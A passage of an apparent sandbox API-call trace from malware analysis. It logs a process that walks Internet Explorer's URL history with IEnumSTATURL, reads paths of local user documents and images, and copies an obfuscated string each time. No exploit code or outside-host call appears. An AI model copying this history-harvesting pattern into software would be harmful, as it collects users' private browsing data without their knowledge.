returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/wvDs4gEAz30rM.gif") returned 59 [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/wvDs4gEAz30rM.gif") returned 59 [0056.934] CoTaskMemFree (pv=0x2eb438) [0056.934] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.934] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/lW-64Dyan.gif", lpSrch="?") returned 0x0 [0056.934] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.934] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.934] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/lW-64Dyan.gif") returned 89 [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/lW-64Dyan.gif") returned 89 [0056.934] CoTaskMemFree (pv=0x2d3c78) [0056.934] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.934] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/g0cXpo9%20l_9.pdf", lpSrch="?") returned 0x0 [0056.934] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.934] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.934] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/g0cXpo9%20l_9.pdf") returned 123 [0056.934] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/g0cXpo9%20l_9.pdf") returned 123 [0056.935] CoTaskMemFree (pv=0x303788) [0056.935] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.935] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/kzzQT6YV.swf", lpSrch="?") returned 0x0 [0056.935] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.935] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.935] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.935] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/kzzQT6YV.swf") returned 97 [0056.935] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/kzzQT6YV.swf") returned 97 [0056.935] CoTaskMemFree (pv=0x2d6158) [0056.935] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.935] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/05Y%20fIJosdW2xmY-cgo.pptx", lpSrch="?") returned 0x0 [0056.935] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.935] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.935] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.935] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/05Y%20fIJosdW2xmY-cgo.pptx") returned 68 [0056.935] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/05Y%20fIJosdW2xmY-cgo.pptx") returned 68 [0056.936] CoTaskMemFree (pv=0x2da820) [0056.936] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.936] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/HMM2aRES.xls", lpSrch="?") returned 0x0 [0056.936] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.936] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.936] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.936] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/HMM2aRES.xls") returned 118 [0056.936] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/HMM2aRES.xls") returned 118 [0056.936] CoTaskMemFree (pv=0x303c68) [0056.936] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.936] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rrDdBF.gif", lpSrch="?") returned 0x0 [0056.936] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.936] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.936] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.936] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rrDdBF.gif") returned 60 [0056.936] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rrDdBF.gif") returned 60 [0056.936] CoTaskMemFree (pv=0x2f6008) [0056.936] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.937] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Vsvz5VyPrvlVO89C.pptx", lpSrch="?") returned 0x0 [0056.937] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.937] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.937] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.937] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Vsvz5VyPrvlVO89C.pptx") returned 65 [0056.937] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Vsvz5VyPrvlVO89C.pptx") returned 65 [0056.937] CoTaskMemFree (pv=0x2e99a8) [0056.937] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.937] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/DV92FBOOIsuK7A3svK.odt", lpSrch="?") returned 0x0 [0056.937] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.937] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.937] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.937] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/DV92FBOOIsuK7A3svK.odt") returned 64 [0056.937] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/DV92FBOOIsuK7A3svK.odt") returned 64 [0056.937] CoTaskMemFree (pv=0x2e9b58) [0056.937] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.937] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/iCg-GgfRe.docx", lpSrch="?") returned 0x0 [0056.937] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.937] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.938] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/iCg-GgfRe.docx") returned 58 [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/iCg-GgfRe.docx") returned 58 [0056.938] CoTaskMemFree (pv=0x2eb7b8) [0056.938] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.938] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/zX3BNfodO-3TxT35U.png", lpSrch="?") returned 0x0 [0056.938] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.938] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.938] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/zX3BNfodO-3TxT35U.png") returned 64 [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/zX3BNfodO-3TxT35U.png") returned 64 [0056.938] CoTaskMemFree (pv=0x2e9d08) [0056.938] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.938] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/f8u_.png", lpSrch="?") returned 0x0 [0056.938] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.938] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.938] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/f8u_.png") returned 63 [0056.938] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/f8u_.png") returned 63 [0056.939] CoTaskMemFree (pv=0x2f61a0) [0056.939] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.939] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rtlqaalkS0.rtf", lpSrch="?") returned 0x0 [0056.939] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.939] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.939] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.939] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rtlqaalkS0.rtf") returned 64 [0056.939] lstrlenW 